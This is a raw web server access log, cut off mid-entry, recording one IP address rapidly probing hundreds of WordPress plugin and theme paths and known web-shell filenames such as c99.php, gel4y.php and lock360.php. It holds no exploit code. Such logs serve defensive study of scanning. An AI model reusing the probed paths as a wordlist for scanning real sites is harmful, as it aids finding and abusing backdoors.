[16/Apr/2025:19:49:50 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:50 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:50 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:50 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:51 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:51 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:51 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:51 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:51 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:52 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:52 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:52 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:52 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:52 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:52 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:52 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:53 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:53 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:53 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:53 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:53 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:53 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:53 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:54 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:54 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:54 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:54 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:54 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:54 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:54 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:55 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:55 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:55 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:55 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:55 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:55 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:56 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:56 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:56 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:56 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:56 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:56 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:56 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:57 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:57 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:57 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:57 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:57 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:57 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:57 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:58 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:58 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:58 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:58 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:58 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:58 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:58 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:59 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:59 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:59 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:59 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:59 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:59 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:59 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:00 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:00 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:00 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:00 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:00 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:00 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:00 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:01 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:01 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:01 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:01 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:01 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:02 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:02 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:02 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:02 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:02 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:03 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:03 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:03 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:03 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:04 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:04 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:04 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:05 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:05 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:05 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:05 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:06 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:06 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:06 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:06 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:07 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:07 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:07 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:08 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:08 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:09 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:09 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:09 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:10 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:10 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:10 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:11 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:11 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:11 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:11 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:11 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:12 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:12 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:12 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:12 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:13 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:13 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:13 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:13 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:13 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:14 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:14 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:14 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:14 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:15 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:15 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:15 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:15 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:15 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:16 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:16 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:16 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:16 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:16 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:17 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:17 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:17 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:17 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:17 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:17 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:18 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:18 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:18 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:18 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:18 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:18 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:19 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:19 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:19 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:19 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:19 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:19 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:20 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:20 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:20 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:20 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:20 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:21 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:21 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:21 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:21 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:21 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:21 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:22 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:22 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:22 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:22 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:22 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:22 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:23 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:23 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:23 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:23 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:23 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:23 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:24 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:24 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:24 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:24 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:24 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:24 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:25 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:25 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:25 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:25 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:25 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:25 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:25 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:26 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:26 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:26 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:26 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:26 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:26 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:27 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:27 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:27 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:27 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:27 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:27 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:28 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:28 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:28 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:28 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:28 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:28 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:29 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:29 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:29 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:29 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:29 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:29 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:30 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:30 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:30 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:30 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:30 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:30 